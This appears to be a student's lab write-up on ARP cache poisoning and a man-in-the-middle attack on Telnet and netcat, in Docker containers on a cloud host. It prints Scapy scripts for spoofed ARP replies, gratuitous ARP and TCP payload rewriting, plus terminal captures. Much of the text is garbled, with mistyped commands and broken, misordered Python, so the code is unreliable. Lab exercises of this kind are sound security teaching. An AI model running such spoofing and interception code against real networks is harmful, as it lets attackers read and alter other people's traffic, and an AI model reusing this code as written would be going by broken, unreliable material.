The image shows two terminal windows side-by-side. The left window, titled 'Lab2 - Attacker', runs a Python script named 'arp_reply.py' to send spoofed ARP replies. The right window, titled 'Lab2 - HostA_Dump', shows the output of a host dump command on the victim host, revealing its configuration and running processes.

```
#!/usr/bin/python3
from scapy.all import *
IP_target = "10.9.0.5"
MAC_target = "02:42:0a:09:00:00"
IP_spoofed = "10.9.0.98"
MAC_spoofed = "aa:bb:cc:dd:00:11"
print("SENDING SPOOFED ARP REPLY.....")
ether = Ether()
ether.dst = MAC_target
ether.src = MAC_spoofed
arp = ARP()
arp.psrc = IP_spoofed
arp.hwdst = IP_target
arp.pdst = MAC_target
arp.op = 2
frame = ether/arp
sendp(frame)

# Get Help   W Write Out   Where Is   Cut Text   Justify   Cur Pos   Undo
# Exit   Read File   Replace   Paste Text   To Spell   Go To Line   Redo
```

```
Processes: 156
Users logged in: 156
IPv4 address for br-f9f1b3c52e65: 10.9.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 172.31.22.7

Danded Security Maintenance for Applications is not enabled.
Updates can be applied immediately.
able ESM Apps to receive additional future security updates.
n https://ubuntu.com/esm or run: sudo pro status
n release '22.04.3 LTS' available.
n do-release-upgrade" to upgrade to it.

st login Fri Mar 8 02:36:25 2024 from 67.21.186.68
untw@ip-172-31-22-7:~$ checkp0s
ckps: command not found
untw@ip-172-31-22-7:~$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
scapy#8533 handsontsecurity/seed-ubuntu:large "/bin/sh -c /bin/bash" 48 minutes ago Up 48 minutes 0-10.9.0.98
7a79cb2dcd handsontsecurity/seed-ubuntu:large "bash -c '/etc/init.d'" 48 minutes ago Up 48 minutes A-10.9.0.98
untw@ip-172-31-22-7:~$ [
```

```
Lab2 - HostA_Dump - ssh -i seed-aws.pem ubuntu@18.219.39.23 - 126x36

HostA_Dump$ sudo apt-get install libpcap0.8
HostA_Dump$ bash: command not found
HostA_Dump$ HostA_Dump$ sudo apt-get install libpcap0.8
HostA_Dump$ bash: command not found
HostA_Dump$ HostA_Dump$ sudo apt-get install libpcap0.8
HostA_Dump$ bash: command not found
HostA_Dump$ ls -l /path/to/libpcap.so.0.8
ls: cannot access '/path/to/libpcap.so.0.8': No such file or directory
HostA_Dump$ HostA_Dump$ topdump: error while loading shared libraries: libpcap.so.0.8: cannot change memory protections
HostA_Dump$ HostA_Dump$ topdump -i eth0
HostA_Dump$ HostA_Dump$ exit
exit[unutu@ip-172-31-22-7:~$ docksh e0
root@00:779cb2dcd:/# export PS1="HostA_Dump\$ "
HostA_Dump$ docksh e0
HostA_Dump$ tcapdump: error while loading shared libraries: libpcap.so.0.8: cannot change memory protections
HostA_Dump$ HostA_Dump$ find / -name "libpcap.so.0.8" 2>/dev/null
HostA_Dump$ HostA_Dump$ sudo apt-get install libpcap0.8
HostA_Dump$ bash: command not found
HostA_Dump$ HostA_Dump$ sudo apt-get install libpcap0.8
HostA_Dump$ bash: command not found
HostA_Dump$ HostA_Dump$ sudo apt-get install libpcap0.8
HostA_Dump$ bash: command not found
HostA_Dump$ HostA_Dump$ exit
HostA_Dump$ exit[unutu@ip-172-31-22-7:~$ docksh e0
root@00:779cb2dcd:/# export PS1="HostA_Dump\$ "
HostA_Dump$ docksh e0
HostA_Dump$ tcpsdump -i eth0
tcpsdump: warning: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB [Ethernet], capture size 262144 bytes
02:54:35.858728 ARP, Request who-has 057a:779cb2dc tell ip-10-9-0-98.us-east-2.compute.internal, length 28
02:54:35.858746 ARP, Reply 057a:779cb2dc is-at 02:42:0a:09:00:00 (oui Unknown), length 28
02:54:35.858746 ARP, Reply ip-10-9-0-98.us-east-2.compute.internal is-at aa:bb:cc:dd:00:11 (oui Unknown), length 28
HostA_Dump$ HostA_Dump$
```

Task 1c:

In the attacker task, I utilized an ARP gratuitous packet to map the victim's IP address (B).

Modified arp_gratituous.py

```
GNU nano 4.8                                         arp_gratuitous.py
#!/usr/bin/python3
from scapy.all import *

IP_spoofed    = "10.9.0.98"
MAC_spoofed   = "aa:bb:cc:dd:97:98"

print("SENDING SPOOFED ARP GRATUITOUS MESSAGE.....")

ether = Ether()
ether.dst = "ff:ff:ff:ff:ff:ff"
ether.src = MAC_spoofed

arp = ARP()
arp.psrc  = IP_spoofed
arp.hwsrc = MAC_spoofed
arp.pdst  = IP_spoofed
arp.hwdst = "ff:ff:ff:ff:ff:ff"
arp.op    = 1
frame = ether/arp
sendp(frame)

[ Read 21 lines ]
^G Get Help      ^O Write Out     ^W Where Is      ^K Cut Text      ^J Justify      ^C Cur Pos      M-U Undo
^X Exit         ^R Read File     ^\ Replace       ^U Paste Text    ^T To Spell     ^_ Go To Line   M-E Redo
```

TASK 2 :

Task 2: MITM Attack on Telnet using ARP cache poisoning

We changed the poison file

Step 3 On/off

During the Man-In-The-Middle attack, modifications are made to the mitm tcp.py script to intercept Telnet communication. Specifically, when Telnet connection is established, any input

attempted by Host A will be replaced with 'A' characters. Prior to initiating the attack, IP forwarding is enabled, and Telnet communication from Host A to Host B is established. Once the Telnet connection is active, IP relaying and the attack are halted.

Step4

The screenshot shows two terminal windows. The left window is titled 'Lab2 - Attacker' and shows the execution of a Python script named 'mitm_tcp.py'. The right window is titled 'Lab2 - HostB' and shows the same script running on Host B. Both windows display network traffic analysis and the progress of the MITM attack.

```

GNU nano 4.8                               mitm_tcp.py
MAC_M = "02:42:0a:09:00:xx"
HOSTB8 arp -n
  Address      HWtype  HWaddress          Flags Mask   Iface
  10.9.0.6     ether    02:42:0a:09:00:69  C         eth0
  10.9.0.5     ether    02:42:0a:09:00:69  C         eth0
  10.9.0.5     ether    02:42:0a:09:00:69  C         eth0
HOSTB8 []

Hwtype  HWaddress          Flags Mask   Iface
ether  02:42:0a:09:00:69  C         eth0
ether  02:42:0a:09:00:69  C         eth0
ether  02:42:0a:09:00:69  C         eth0

Lab2 - Attacker - ssh -i seed-aws.pem ubuntu@18.219.39.23 - 91x27
MAC_M = "02:42:0a:09:00:xx"
print("LAUNCHING MITM ATTACK.....")
def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)
        del(newpkt[TCP].chksum)

    if pkt[TCP].payload:
        data = pkt[TCP].payload.load
        print("** %s, length: %d" % (data, len(data)))

    # For netcat (replace a pattern)
    #newdata = data.replace(b'seedlabs', b'AAAAAAA')

    # For telnet (change each character)
    newdata = re.sub(r'[0-9a-zA-Z]', r'A', data.decode())
    send(newpkt[newdata])
    else:
        send(newpkt)

Get Help  Write Out  Where Is  Cut Text  Justify  Our Pos
File Exit  Read File Replace Paste Text To Spell Go To Line

Lab2 - Attacker - ssh -i seed-aws.pem ubuntu@18.219.39.23 - 111x36
64 bytes from 10.9.0.6: icmp_seq=7 ttl=64 time=0.069 ms
64 bytes from 10.9.0.6: icmp_seq=8 ttl=64 time=0.067 ms
64 bytes from 10.9.0.6: icmp_seq=9 ttl=64 time=0.068 ms
...
10.9.0.6 ping statistics
9 packets transmitted, 9 received, 0% packet loss, time 817ms
rtt min/avg/max/mdev = 0.002/0.069/0.084/0.005 ms
HostA$ ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=64 time=0.067 ms
64 bytes from 10.9.0.6: icmp_seq=2 ttl=64 time=0.069 ms
64 bytes from 10.9.0.6: icmp_seq=3 ttl=64 time=0.067 ms
64 bytes from 10.9.0.6: icmp_seq=4 ttl=64 time=0.067 ms
64 bytes from 10.9.0.6: icmp_seq=5 ttl=64 time=0.067 ms
64 bytes from 10.9.0.6: icmp_seq=6 ttl=64 time=0.068 ms
64 bytes from 10.9.0.6: icmp_seq=7 ttl=64 time=0.067 ms
64 bytes from 10.9.0.6: icmp_seq=8 ttl=64 time=0.067 ms
64 bytes from 10.9.0.6: icmp_seq=9 ttl=64 time=0.068 ms
...
10.9.0.6 ping statistics
6 packets transmitted, 6 received, 0% packet loss, time 5122ms
rtt min/avg/max/mdev = 0.063/0.066/0.069/0.002 ms
HostA$ 

Lab2 - HostB - ssh -i seed-aws.pem ubuntu@18.219.39.23 - 144x27
MAC_M = "02:42:0a:09:00:xx"
HOSTB8 arp -n
  Address      HWtype  HWaddress          Flags Mask   Iface
  10.9.0.6     ether    02:42:0a:09:00:69  C         eth0
  10.9.0.5     ether    02:42:0a:09:00:69  C         eth0
  10.9.0.5     ether    02:42:0a:09:00:69  C         eth0
HOSTB8 []

Hwtype  HWaddress          Flags Mask   Iface
ether  02:42:0a:09:00:69  C         eth0
ether  02:42:0a:09:00:69  C         eth0
ether  02:42:0a:09:00:69  C         eth0

Lab2 - Attacker2 - ssh -i seed-aws.pem ubuntu@18.219.39.23 - 124x35
MAC_M = "02:42:0a:09:00:xx"
print("LAUNCHING MITM ATTACK.....")
def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

    if pkt[TCP].payload:
        data = pkt[TCP].payload.load
        print("** %s, length: %d" % (data, len(data)))

    # For netcat (replace a pattern)
    #newdata = data.replace(b'seedlabs', b'AAAAAAA')

    # For telnet (change each character)
    newdata = re.sub(r'[0-9a-zA-Z]', r'A', data.decode())
    send(newpkt[newdata])
    else:
        send(newpkt)

    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)
        send(newpkt)

f = 'tcp and (ether src != MAC_A or dst != MAC_B or '
f += 'ether src != MAC_B or dst != MAC_A)'

while 1:
    print("Sending spoofed ARP request to Hosts A and B")
    sendp(f)
    sleep(5)
    sendp(f)
    sleep(5)

HostA$ 

```

Task 3

The attacker intercepts the conversation between victim A and victim B, making any message written by victim A look as if it came from A to B. Furthermore, the duration of the texts was consistent among both victims. To carry out this attack, set IP forwarding to 1 and execute the ARP poisoning code. Once victims A and B were connected, IP forwarding was disabled by setting it to 0, and the MITM_tcp.py programme was executed to carry out the attack.

```

from scapy.all import *
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
IP_M = "10.9.0.105"
MAC_M = "02:42:0a:09:00:69"
print("LAUNCHING MITM ATTACK.....")
def spoof(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        do(newpkt[TCP].chksum)

        if pkt[TCP].payload:
            data = pkt[TCP].payload.load
            print("==> ", len(data), "length: ", data)
            # For netcat (replace a pattern)
            newdata = data.replace(b'venkat', b'AAAAAAA')

            # For telnet (change each character)
            #newdata = re.sub(r'[0-9a-zA-Z]', r'V', data.decode())
            send(newpkt/newdata)
        else:
            send(newpkt)

    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt)

f = "tcp and (ether src "+ MAC_A + " or " + \
     "ether src "+ MAC_B + " )"
pkt = sniff(iface= eth0, filter=f, prn=spoof_pkt)

```

OUTPUT:

Finally, the attacker typed the message "VENKAT," which the same length as the attacker's name appeared as if it was coming from A to victim B, with the same length as the attacker's name.

A TCP link between hosts A and B is established using the commands nc -lp 9090 from host B and nc 10.9.0.6 9090 from host A. The length of the given string is returned in the A along with the submitted string.

The string AAAAAA and name venkat can be seen above.